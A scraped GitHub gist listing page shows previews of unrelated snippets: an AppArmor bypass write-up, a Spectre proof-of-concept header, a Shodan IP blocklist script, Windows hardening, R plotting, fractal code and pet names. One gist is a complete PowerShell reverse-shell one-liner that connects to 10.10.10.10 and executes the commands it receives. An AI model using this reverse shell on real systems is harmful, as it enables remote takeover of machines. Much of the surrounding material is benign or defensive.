Skip to content

Instantly share code, notes, and snippets.

View Spacial's full-sized avatar
🐶
learning

Spacial Spacial

🐶
learning
  • void
View GitHub Profile
@sirdarckcat
sirdarckcat / 0README.md
Last active March 26, 2018 22:25
/sbin/dhclient Ubuntu AppArmor profile bypass

/sbin/dhclient Ubuntu AppArmor profile bypass

This document explains how to bypass the /sbin/dhclient AppArmor profile installed in Ubuntu by installing a kernel module. This is a simple task, but I didn't know how to do it before today. Hopefully you find this useful.

Tested on 17.10.1 using the isc-dhcp 4.3.5-3ubuntu2.2 package.

Background

In this advisory, Ubuntu says that the vulnerability

@egre55
egre55 / powershell_reverse_shell.ps1
Last active May 9, 2025 03:09
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@clauswilke
clauswilke / internet.R
Last active February 17, 2018 05:58
Internet users over time; plot variations
library(tidyverse) # code uses development version of ggplot2 for viridis scales; otherwise, viridis package would be needed
df_internet <- read.csv("internet.csv")
# sort countries by internet users in final year
internet_summary <- df_internet %>%
group_by(country) %>%
summarize(last = users[n()]) %>%
arrange(last)
library(tidycensus)
library(plotly)
library(ggplot2) # devtools::install_github("tidyverse/ggplot2")
library(crosstalk)
# Set your Census API key with `census_api_key()` if not already installed
tx <- get_acs(geography = "county",
variables = c(pctcollege = "DP02_0067P",
hhincome = "DP03_0062"),
state = "TX",
@jgamblin
jgamblin / antiautosploit.py
Last active March 25, 2025 10:03
Blocks Shodan IPs From Scanning Your Servers.
#!/usr/bin/python3
import os
shodan = ["104.131.0.69", "104.236.198.48", "155.94.222.12","155.94.254.133", "155.94.254.143", "162.159.244.38", "185.181.102.18", "188.138.9.50", "198.20.69.74", "198.20.69.98", "198.20.70.114", "198.20.87.98", "198.20.99.130", "208.180.20.97", "209.126.110.38", "216.117.2.180", "66.240.192.138", "66.240.219.146", "66.240.236.119", "71.6.135.131", "71.6.146.185", "71.6.158.166", "71.6.165.200", "71.6.167.142", "82.221.105.6", "82.221.105.7", "85.25.103.50", "85.25.43.94", "93.120.27.62", "98.143.148.107", "98.143.148.135"]
for ip in shodan:
os.system("iptables -A INPUT -s {} -j DROP".format(ip))
@whitequark
whitequark / README.txt
Last active October 6, 2022 22:44
Strava archiver
1. install postgres
2. run makedb.rb >tiles.csv
3. run tiles.sql
4. run archive.rb
5. enjoy
@Badel2
Badel2 / spectre.c
Last active March 12, 2023 00:18
Spectre attack example implementation
/* https://spectreattack.com/spectre.pdf */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@mackwage
mackwage / windows_hardening.cmd
Last active May 5, 2025 06:48
Script to perform some hardening of Windows OS
:: Windows 10 Hardening Script
:: This is based mostly on my own personal research and testing. My objective is to secure/harden Windows 10 as much as possible while not impacting usability at all. (Think being able to run on this computer's of family members so secure them but not increase the chances of them having to call you to troubleshoot something related to it later on). References for virtually all settings can be found at the bottom. Just before the references section, you will always find several security settings commented out as they could lead to compatibility issues in common consumer setups but they're worth considering.
:: Obligatory 'views are my own'. :)
:: Thank you @jaredhaight for the Win Firewall config recommendations!
:: Thank you @ricardojba for the DLL Safe Order Search reg key!
:: Thank you @jessicaknotts for the help on testing Exploit Guard configs and checking privacy settings!
:: Best script I've found for Debloating Windows 10: https://github.com/Sycnex/Windows10Debloater
:
@njanakiev
njanakiev / fractal.py
Created November 9, 2017 12:23
Mandelbrot and Julia Set with PIL
import numpy as np
from PIL import Image
output_image = 'fractal.png'
def evalMandelbrot(x, y, n=20):
c = x + 1j*y
out, count = 0, 0
for i in range(n):
if abs(out) <= 2:
@fmasanori
fmasanori / pets.txt
Created November 4, 2017 10:06
Nomes de Gatos e Cachorros
https://gist.github.com/fmasanori/ee2b554ee6e05f298d5014bcbf730fd7
Cats
Abdul Abel Abelarda Abelardo Abelhinha Abigail Abner Abu Acacia Ace Acerola Adda Adonis Adrik Adry Afrodite Agapi Agostinho Agripina(o) Aiara Aícha Aika(o) Aiki Aila Aileen Aima Aimee Aislan Aiwa Akan Akaya Akenaton Akesa Alanis Alec Alecrim Aleetza Alef Alegria Aleluia Alemã Alemão Aleska Alex Alf Alfa Alface Algodão Alice Alicia Alika Alina Alisson Alita Alladim Alma Almôndega Aloha Alone Alpha Alphi Alvinha Amapola Amaral Amarula Amaya Ambar Amber Ameli Amendoim Amie Amiga(o) Amigão Amiguinha(o) Amin Amira Amon Amor Amora Amoreko Amoroso Amy Anakin Anda Andie Andora Andy Angel Angra Angus Anjinha Anjinho Anúbis Anukh Apache Apagão Aphou Apiá Apoena Apolo Apple April Aquiles Arã Arabi Aragon Aramis Aranha Arashi Archie Arena Aretha Argos Ariadne Ariel Ariela Arine Aristóteles Arkan Armani Aroeira Aron Arrepio Arteira Artemis Arthur Aruan Aruane Aruck Aruska Ashley Aska Asla Aslam Aspen Asrama Assombroso Aster Asterix Asthar Astolfo As